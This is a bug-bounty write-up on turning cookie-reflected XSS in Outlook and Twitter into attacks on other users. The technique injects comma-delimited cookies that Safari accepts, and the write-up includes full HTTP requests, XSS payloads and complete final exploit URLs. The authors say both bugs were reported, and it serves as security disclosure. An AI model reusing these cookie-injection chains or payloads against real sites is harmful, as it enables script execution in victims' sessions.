All cross site scripting vulnerabilities cannot be exploited easily and would need a vulnerablity chain to exploit them
For example a self XSS that only executes in your profile, here is how whitton used minor OAuth flaws to exploit a cross site scripting in Uber
https://whitton.io/articles/uber-turning-self-xss-into-good-xss/
How about a XSS that needs a lot of user interaction?
This is how Sasi used a clicking vulnerability to succesfully exploit a xss in Google
http://sasi2103.blogspot.in/2016/09/combination-of-techniques-lead-to-dom.html
What about a Cross site scripting that needs an arbitrary cookie?
Here is how we found cross site scripting vulnerabilities in Outlook and Twitter by tossing cookies in Safari browser.
Outlook Client Side Stored Cross Site Scripting Vulnerability
There was a simple cross site scripting on outlook.live.com, a value from cookie was directly reflected back in the source without any filtering.
Request
GET / HTTP/1.1
Host: outlook.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: ClientId=vulnerable<>"';
Connection: close
Upgrade-Insecure-Requests: 1
Response snippet
window.dateZero = new Date(0);
var scriptStart = ((new Date()) - window.dateZero);
window.clientId = 'vulnerable<>"'';
Setting the ClientId to payload ‘-alert(2)-‘ will give us a pop up but the challenge was on how to exploit the xss on other users.
It’s possible if:
We ruled out option one & two and started looking for 3. Luckily in next 5 minutes we found an endpoint were the application takes an user input & throws it directly into Set-cookie response headers. Now comes the fun part,
%0a %0d were stripped out but , (comma) and ; were not.
Ok! https://www.ietf.org/rfc/rfc2109.txt
Here is how each browser reacts to a comma
Chrome
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1;
Firefox
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1;
Safari
Set-Cookie: param1=value1;,param2=value2;
Cookie: param1=value1; param2=value2;
Safari accepts comma delimited cookies and now we can exploit the xss on other users.
Our final payload: https://outlook.live.com/owa/?realm=hotmail.com%3b%2cClientId%3d’-alert(2)-‘
We could also set the expiry of the cookie possibly allowing us to store our payload in the victim’s browser forever.
Oh wait we could also do cookie bombing like mentioned here: http://blog.innerht.ml/page/7/
Twitter XSS by tossing cookies
Refer(to understand on how to store flash messages and pass them to controller using cookies in ROR): http://api.rubyonrails.org/classes/ActionDispatch/Flash.html
While doing some reconnaissance we came across an end point were one could detach an email from his account: https://twitter.com/account/not_my_account/
Request
POST /account/detach_email HTTP/1.1
Host: twitter.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: https://twitter.com/
Content-Length: 36
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4
Cookie: <redacted>
authenticity_token=&user=sds"><img src=x onerror=prompt(1)>&secret=
Setting the user parameter to payload will return a 302 redirect to a controller with a flash message in cookie.
Response
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
connection: close
content-security-policy:
content-type: text/html;charset=utf-8
date: Mon, 10 Oct 2016 13:37:02 GMT
expires: Tue, 31 Mar 1981 05:00:00 GMT
last-modified: Mon, 10 Oct 2016 13:37:02 GMT
pragma: no-cache
server: tsa_a
set-cookie: fm=0; Expires=Mon, 10 Oct 2016 13:36:52 UTC; Path=/; Domain=.twitter.com; Secure; HTTPOnly
set-cookie: _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCK%252BXz65XAToMY3NyZl9p%250AZCIlZDE3ZTQxZDQ1M2I2YWViMjI2NzQ4MWExM2FjYmY1ZmU6B2lkIiU2MTM0%250AMmRmYmQxOWQ4ODFiN2JjNDMyNmQyMGI4ZjNlOQ%253D%253D--2071c49064d36eabc5121fc586c3502526a7dafd; Path=/; Domain=.twitter.com; Secure; HTTPOnly
set-cookie: lang=en; Path=/
_twitter_sess cookie has a flash message stored and will be shown in the next page after redirect. The flash message was something like this “the email address is no longer associated with payload”.
This is a same story like outlook, to exploit the xss we needed to set an arbitrary cookie or a csrf.
Like always we are lucky again and found an end point were a user input is directly thrown in between the set cookie response headers.
Our final payload was:
https://twitter.com/i/safety/report_story?next_view=report_story_start&source=reporttweet&reported_user_id=108900981&reporter_user_id=602037637&is_media=true&is_promoted=false&reported_tweet_id=723164469380018178&tweet%5B%5D=%22test%22%3b,%20_twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%25250ASGFzaHsGOgtub3RpY2VDOhdUcmFuc2xhdGFibGVTdHJpbmciblRoZSBlbWFp%25250AbCBhZGRyZXNzIGlzIG5vIGxvbmdlciBhc3NvY2lhdGVkIHdpdGggdGhlIFR3%25250AaXR0ZXIgYWNjb3VudCAodGVzdCI%25252BPGltZyBzcmM9eCBvbmVycm9yPXByb21w%25250AdCgxKT4pLgY6CkB1c2VkewY7BlQ6D2NyZWF0ZWRfYXRsKwgRECMBVAE6DGNz%25250AcmZfaWQiJTEwOWQ5ZGYxNmIzZGYyNjc1ZjgzNDY3MjA0YjlkZTI3OgdpZCIl%25250AN2M3YTdiMzJkNzBkNGM2ZjZkNTgxMmMyN2Q2M2VhZTg%25253D--b26e09e3bcf3861b841b00b2279c806126009cd0%3b%20Path=/%3b%20Domain=.twitter.com%3b,s=%22akhil
Video POC:
Overall it was real fun for us. We have reported both the bugs to respective companies, got a bounty from Microsoft and a silent fix from twitter.
Update: Twitter does have CSP 2.0 in place and Safari 9.1.3 doesn’t support 2.0 hence the pop up!